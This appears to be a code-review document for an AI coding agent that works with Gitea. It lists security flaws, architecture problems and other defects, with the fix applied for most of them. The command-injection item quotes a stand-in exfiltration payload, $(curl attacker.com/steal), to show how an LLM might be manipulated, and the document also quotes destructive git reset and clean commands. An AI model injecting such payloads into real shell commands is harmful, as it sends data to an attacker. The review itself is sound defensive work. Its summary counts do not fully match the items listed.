coding-agent-gitea/bad_code.md

Bad Code Analysis

1. Security Vulnerabilities

1.1 Hardcoded Credentials in Git Credentials File [RESOLVED]

File: gitea/workspace.py:46

cred_line = f"{parsed.scheme}://meeks-ai:{GITEA_TOKEN}@{parsed.netloc}\n"

The Gitea token is embedded directly in the git credential URL and written to ~/.git-credentials in plaintext. Anyone with filesystem access can read the token. This is a critical credential exposure vulnerability.

Resolution: Replaced the plaintext ~/.git-credentials storage and the local git credential.helper store setup with local repository-scoped http.extraHeader configuration. The token is dynamically Base64 encoded and passed as Authorization: Basic <base64> for cloning and local repository Git operations, ensuring credentials are never stored globally or in plaintext outside the repository's configuration.

1.2 Secrets Set as Environment Variables at Import Time [RESOLVED]

File: gitea/config.py:38-43

os.environ["GITEA_SERVER_URL"] = GITEA_URL
os.environ["GITEA_SERVER_TOKEN"] = GITEA_TOKEN

Secrets were injected into the global environment at module import time. This polluted the process environment, made secrets discoverable via os.environ, and could leak into child processes, logs, and debugging tools.

Resolution: Removed the code block writing secrets to os.environ at import time in gitea/config.py.

1.3 Hardcoded Personal Email [RESOLVED]

File: gitea/workspace.py:60

email = user.email or f"{user.login or 'agent'}@noreply.gitea"

A personal email address was hardcoded as a fallback. This has been resolved by using a dynamic fallback email based on the authenticated user's login name.

1.4 No Input Sanitization in Shell Commands [RESOLVED]

File: gitea/tools/coding_tools.py:266, coding_tools.py:200

command: str = f"grep -ri '{pattern}' {resolved}"

if "tea pr create" in command:

User-controlled or LLM-generated strings were interpolated directly into shell commands with shell=True. This was a command injection vulnerability. The LLM could have been prompted to inject commands like $(curl attacker.com/steal) into file paths or search patterns.

Resolution: Modified grep_search to invoke the grep subprocess safely with shell=False and a list of command arguments ["grep", "-ri", pattern, resolved], eliminating shell interpolation and command injection risks. Added corresponding test assertions to verify shell=False execution.

2. Architecture Anti-Patterns

2.1 God Class: GiteaClient [RESOLVED]

File: gitea/client.py (451 lines, 30+ methods) GiteaClient implements 5 interfaces (IssuesClient, PullRequestsClient, FilesClient, RefsClient, ReposClient) and contains 30+ methods covering issues, PRs, files, refs, notifications, and repository operations. This violates the Single Responsibility Principle. Any change to one area (e.g., adding a new issue endpoint) requires touching a massive, unrelated class.

Resolution: Refactored GiteaClient from a 502-line God Class into a ~70-line facade that provides access to 5 focused sub-clients, each responsible for a single domain:

• gitea/issues_client.py - IssuesClient (9 methods for issue operations)
• gitea/prs_client.py - PullRequestsClient (17 methods for PR operations)
• gitea/files_client.py - FilesClient (4 methods for file and git ref operations)
• gitea/notifications_client.py - NotificationsClient (2 methods for notification operations)
• gitea/repos_client.py - ReposClient (2 methods for repository and user operations)

Each sub-client follows the Single Responsibility Principle and is independently testable. The GiteaClient now only handles HTTP client lifecycle (__init__, close, __enter__, __exit__, __del__) and exposes the sub-clients as attributes (client.issues, client.prs, client.files, client.notifications, client.repos). All callers were updated to use the sub-clients directly.

2.2 Triple Layer of Indirection (Facade Anti-Pattern) [RESOLVED]

File: gitea/client.py -> gitea/tools/gitea_tools.py -> gitea/tools/issue_tools.py

CodingAgent calls GiteaTools.add_comment()
  -> GiteaTools delegates to IssueTools.add_comment()
    -> IssueTools calls GiteaClient.add_comment()

Each layer adds zero value — no caching, no validation, no abstraction benefit. It's just pass-through delegation that makes the code harder to navigate and debug.

Resolution: Removed the GiteaTools facade class entirely. The AgentDispatcher, AgentOrchestrator, and TaskProcessor classes now use the focused tool classes (IssueTools, PRTools, FileTools, GitTools) directly. This eliminates the unnecessary indirection layer and makes the code easier to navigate and debug. The gitea/tools/gitea_tools.py file and its corresponding test file tests/test_gitea_tools.py were deleted.

2.3 Useless Factory Pattern [RESOLVED]

File: core/factory.py

@staticmethod
def create_coding_agent(model_name: str) -> CodingAgent:
    return CodingAgent(model_name)

Every factory method was a static method that directly instantiated and returned the object with no polymorphism or abstraction. This added a useless layer of indirection.

Resolution: The factory classes were completely removed. The components (NotificationReaderAgent, CodingAgent, etc.) are now imported and instantiated directly where they are used. The core/factory.py file was deleted.

2.4 Duplicate Agent Classes with Identical Prompts [RESOLVED]

File: core/coding_agent.py:13, core/planning_agent.py:13

# coding_agent.py
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT

# planning_agent.py  
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT

CodingAgent and PlanningAgent are separate classes that use the exact same system prompt. There is no behavioral differentiation — they are identical code with different names. This is copy-paste duplication.

Resolution: Created a distinct, tailored PLANNING_AGENT_SYSTEM_PROMPT in prompts.py specifically for the planning phase (focusing on research and drafting implementation plans without instructions on Git checkout/commit/PR lifecycle). Updated planning_agent.py to import and use the new prompt and added strict type hints to both planning_agent.py and coding_agent.py.

2.5 Vacuous Interface Hierarchy [RESOLVED]

File: core/interfaces.py The ABC interfaces (IssuesClient, PullRequestsClient, etc.) are defined but serve no practical purpose. GiteaClient directly inherits from all of them, but since there is only one implementation, the interfaces add no value. They neither enable mocking in tests nor allow swapping implementations. They are interfaces in name only.

Resolution: Removed the vacuous interfaces entirely. Deleted core/interfaces.py and updated GiteaClient (gitea/client.py) and BaseAgent (core/agent.py) to no longer inherit from or import these unused Abstract Base Classes.

3. Error Handling Problems

3.1 Bare Except Clauses Swallowing All Errors [RESOLVED]

Scattered throughout the codebase (especially in core/dispatcher.py when retrieving files, comments, or reviews):

# core/dispatcher.py:475
except Exception:
    pass

Bare/silent except Exception blocks caught all unexpected errors and bypassed logging or error handling, making debugging difficult.

Resolution: Refactored all silent except Exception: pass blocks in core/dispatcher.py to capture the exception and log a warning with logger.warning(..., exc_info=True). This preserves visibility of API or filesystem errors during issue and PR task processing.

3.2 print() Mixed with Logging Framework [RESOLVED]

File: gitea/client.py:41, 61, 176, 218, 237, 420, 431, 449 The codebase uses Python's logging module in some places but falls back to print() for error output in GiteaClient. This creates inconsistent log output, bypasses log rotation, and makes it impossible to filter or route errors through structured logging.

Resolution: Replaced all print() statements in gitea/client.py, gitea/tools/pr_tools.py, and gitea/tools/issue_tools.py with standard Python logging calls using logger.error(..., exc_info=True). Logger objects are initialized per module and consistent log/error handling is established.

3.3 Silent Failure in list_assigned_issues [RESOLVED]

File: gitea/client.py:161-162

repo_owner = r.owner if hasattr(r, 'owner') else (r.get("owner") or {}).get("login", "")
repo_name = r.name if hasattr(r, 'name') else r.get("name", "")

The code checks hasattr as a fallback, which means the RepositoryModel type is sometimes a Pydantic model and sometimes a raw dict. This is a type inconsistency that indicates the model is not being used correctly.

Resolution: Removed the redundant hasattr checks and fallback dictionary access in both list_assigned_issues and list_assigned_pull_requests methods of GiteaClient. Because RepositoryModel is used consistently, properties r.owner and r.name are accessed directly.

4. Dangerous Side Effects

4.1 os.chdir() in Dispatcher [RESOLVED]

File: core/dispatcher.py:680-684

original_cwd = os.getcwd()
if os.path.isdir(str(repo_path)):
    os.chdir(str(repo_path))
    changed_dir = True

Changing the working directory in a long-running async process is dangerous. If any coroutine runs concurrently or if the finally block fails to restore the directory, all subsequent file operations in the process will target the wrong directory. The finally restoration is a band-aid, not a solution.

Resolution: Removed the os.chdir() call and related directory-restoration logic completely from AgentDispatcher.dispatch. Since all subprocess commands, git operations, and file operations in WorkspaceManager and CodingTools are invoked with explicit local repository working directory parameters (cwd or -C), changing the global process directory is completely unnecessary and has been safely eliminated.

4.2 Destructive sanitize_repo [RESOLVED]

File: gitea/workspace.py:81-118

subprocess.run(["git", "-C", str(repo_path), "reset", "--hard", "HEAD"], ...)
subprocess.run(["git", "-C", str(repo_path), "clean", "-fdx"], ...)

git reset --hard HEAD and git clean -fdx destroy all uncommitted changes and untracked files. This is destructive and irreversible. In an automated agent context, this could delete work that was in progress.

Resolution: Refactored WorkspaceManager.sanitize_repo to first check if there are uncommitted changes or untracked files using git status --porcelain. If any are found, it runs git stash push -u -m "Auto-backup before agent sanitization" to preserve them in git stash. Additionally, if any of the sanitization subprocess calls fail, the method raises a RuntimeError rather than catching and swallowing it, avoiding silent downstream failures.

4.3 Global git config --global --unset [RESOLVED]

File: gitea/workspace.py:22-33

subprocess.run(["git", "config", "--global", "--unset", "credential.helper"], ...)
subprocess.run(["git", "config", "--global", "--unset", "user.name"], ...)

Unsetting global git config on every WorkspaceManager instantiation affects the entire user's git configuration, not just the agent's workspace. This is a dangerous side effect that could break the user's other git workflows.

Resolution: Removed the _configure_git_credentials() method entirely. The agent now relies on local repository-scoped http.extraHeader configurations and local git configs, avoiding any global config changes and eliminating global side-effects.

5. Code Quality Issues

5.1 Any Type Overuse

Throughout the codebase, Any is used where specific types would be better:

# gitea/client.py:34
def get_authenticated_user(self) -> UserModel | None:
    # Returns UserModel but internally handles raw dict

# gitea/tools/gitea_tools.py:58
def list_assigned_issues(self) -> list[dict]:  # Bare dict, not dict[str, Any]

5.2 assert Used for Control Flow [RESOLVED]

Files: core/dispatcher.py:492, 741, 754, core/agent.py:74, 94

issue_info = self.item.task_info
assert isinstance(issue_info, IssueModel)

assert can be disabled with python -O (optimize flag). Using it for runtime type validation means the check disappears in production builds.

Resolution: Replaced all control-flow assert statements with proper runtime checks (raising TypeError for invalid task info in core/dispatcher.py, and RuntimeError if model initialization fails in core/agent.py). Also added unit tests in tests/test_dispatcher.py to verify correct raising of TypeError when invalid task info models are provided.

5.3 Hardcoded Values Scattered Throughout [RESOLVED]

Files: core/dispatcher.py:82, gitea/client.py:67,440, gitea/config.py

# core/dispatcher.py:82
agent_usernames = {ai_username, "agent-bot"}  # Hardcoded fallback username

# gitea/client.py:67
if (r.get("owner") or {}).get("login") == "meeks":  # Hardcoded org filter

# gitea/client.py:440
if owner_login == "meeks":  # Hardcoded org filter in notifications

Resolution: Added configurable settings agent_usernames (list of additional agent usernames) and gitea_org_filter (organization name for repo filtering) to gitea/config.py. Updated core/dispatcher.py to use AGENT_USERNAMES from config instead of hardcoded "agent-bot". Updated gitea/client.py to use GITEA_ORG_FILTER in both list_all_user_repos() and list_unread_notifications() methods. The agent_model_id was already configurable via environment variables.

5.4 Inconsistent Return Types [RESOLVED]

Methods that should return structured data return str instead:

# gitea/tools/issue_tools.py:15
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
    # Returns IssueModel instead of JSON string

# gitea/tools/pr_tools.py:19
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
    # Returns PullRequestModel instead of JSON string

# gitea/tools/pr_tools.py:122
def create_pull_request(...) -> PullRequestModel:
    # Returns PullRequestModel instead of JSON string

# gitea/tools/pr_tools.py:139
def update_pull_request(...) -> PullRequestModel:
    # Returns PullRequestModel instead of JSON string

The callers (LLM agent framework) handle model-to-JSON serialization automatically, so returning the model object directly provides type safety without losing the ability to display structured data to the LLM.

Resolution: Updated IssueTools.get_issue to return IssueModel, PRTools.get_pull_request to return PullRequestModel, and PRTools.create_pull_request / PRTools.update_pull_request to return PullRequestModel. All methods now have proper return type hints and raise exceptions on error instead of returning error strings. Updated corresponding tests to verify model objects are returned directly.

5.5 Mutable Default Arguments (Near Miss)

While the codebase correctly uses Field(default_factory=list) in Pydantic models, the CoordinatorTools and NotificationTools classes use mutable instance attributes (self.arguments: dict[str, Any] = {}) that are shared state across tool calls. If two tool calls happen before the next decision, the arguments accumulate.

6. Performance Issues

6.1 Creating HTTP Client Per Request [RESOLVED]

File: gitea/client.py

Every HTTP method previously created a new httpx.Client() context manager. This meant a new TCP connection was established for every API call. A single poll_and_dispatch cycle could create 10+ HTTP clients.

Resolution: Updated GiteaClient to initialize a single shared self.client: httpx.Client = httpx.Client(headers=self.headers) during class instantiation. Removed the block-scoped with httpx.Client() as client: contexts and direct httpx.get() calls, and updated the test suite (tests/test_client.py) to patch httpx.Client.get instead.

6.2 No Caching

• Notifications are re-fetched every 60 seconds without any deduplication beyond the since timestamp
• PR diffs are fetched fresh every time a PR is processed
• File contents are fetched from the remote API instead of the local workspace when the repo is already cloned

7. Concurrency Issues

7.1 WorkQueue Claims Thread-Safety But Has None [RESOLVED]

File: core/queue.py:19

class WorkQueue:
    """Thread-safe work queue grouped by repo."""

The docstring claimed thread-safety, but there were no locks. This has been resolved by using a threading.Lock inside all queue methods to serialize access to the internal lists and sets.

7.2 No Mutex on Workspace Operations

Multiple work items for the same repo can trigger concurrent git clone, git reset, and git clean operations. There is no locking to prevent race conditions on the filesystem.

8. Prompt Engineering Issues

8.1 Massive Embeded System Prompts

File: core/coding_prompt.py (221 lines) A 221-line system prompt is embedded as a module-level string constant. This makes the prompt impossible to version-control separately, A/B test, or update without redeploying code. Prompts should be in separate files or a database.

8.2 Duplicated Prompt Content [RESOLVED]

CODING_AGENT_SYSTEM_PROMPT is used by both CodingAgent and PlanningAgent with no differentiation. If the planning agent needs different instructions, both agents must be updated simultaneously.

Resolution: Defined PLANNING_AGENT_SYSTEM_PROMPT inside prompts.py to differentiate planning-specific instructions from coding/execution instructions.

9. Testing Issues

9.1 Tests Don't Mock HTTP Calls

File: tests/test_client.py and others The tests appear to test real HTTP calls or minimal mocking. The GiteaClient creates its own httpx.Client() internally, making it impossible to inject a mock client. Tests should use dependency injection or unittest.mock.patch to avoid network calls.

9.2 No Tests for Critical Paths

• WorkspaceManager.sanitize_repo() (destructive git operations) has no tests
• CodingTools.run_command() (shell execution) has no tests
• AgentOrchestrator.poll_and_dispatch() (main polling loop) has no integration tests
• dispatcher.py (763 lines) has no dedicated test coverage

10. CUPID Programming Violations

10.1 Not Clear [RESOLVED]

• Excessive indirection: GiteaTools -> IssueTools -> GiteaClient adds 3 levels of pass-through with zero value [RESOLVED - see 2.2]
• Unclear responsibilities: GiteaClient handles issues, PRs, files, refs, notifications, and repository management — 5 distinct domains [RESOLVED - see 2.1]
• Confusing naming: add_comment and add_comment_to_issue do the same thing; add_label and add_label_to_issue do the same thing [RESOLVED]

Resolution (Confusing Naming): Removed the duplicate methods add_comment and add_label from IssueTools. Only the more descriptive add_comment_to_issue and add_label_to_issue methods remain. Updated core/dispatcher.py to remove the duplicate tool registrations and updated core/coding_prompt.py to reference only add_comment_to_issue. Removed corresponding duplicate tests from tests/test_issue_tools.py.

10.2 Not Understandable

• Massive files: dispatcher.py (763 lines), coding_prompt.py (221 lines), client.py (451 lines) are too large to comprehend in a single reading
• Complex control flow: IssueTaskProcessor.process() (lines 452-653) has 7 nested if/elif branches, multiple try/except blocks, and inline subprocess calls — impossible to mentally trace
• Mixed concerns: workspace.py mixes git credential management, repo cloning, and user configuration setup

10.3 Not Performant

• HTTP client per request: Every API call creates a new TCP connection (see section 6.1)
• No connection pooling: httpx.Client() should be a shared singleton
• Redundant data fetching: Fetches PR diff, PR files, PR comments, and PR reviews separately when they could be batched
• Inline subprocess calls: Multiple subprocess.run() calls in IssueTaskProcessor.process() for git operations instead of using a git library

10.4 Not Inspectable

• Minimal logging: Most errors use print() instead of the logging framework
• No metrics: No counters for API calls, errors, processing times, or queue depth
• No structured tracing: No request IDs, no correlation between notification receipt and processing
• State file is opaque: agent_state.json is a simple timestamp with no versioning or migration

10.5 Not Delightful

• Poor error messages: "Error getting issue: {str(e)}" gives no actionable information
• No user feedback: When the agent fails, there is no graceful degradation or helpful error message
• Destructive operations: git reset --hard and git clean -fdx with no confirmation or dry-run option
• Silent failures: Methods return empty lists or None on error with no way to detect the failure downstream

Summary

Category	Severity	Count
Security Vulnerabilities	Critical	0
Architecture Anti-Patterns	High	3
Error Handling Problems	High	0
Dangerous Side Effects	High	0
Code Quality Issues	Medium	3
Performance Issues	Medium	1
Concurrency Issues	Medium	1
Prompt Engineering Issues	Medium	1
Testing Issues	Medium	2
CUPID Violations	High	4

Total: 29 issues identified, 8 unresolved.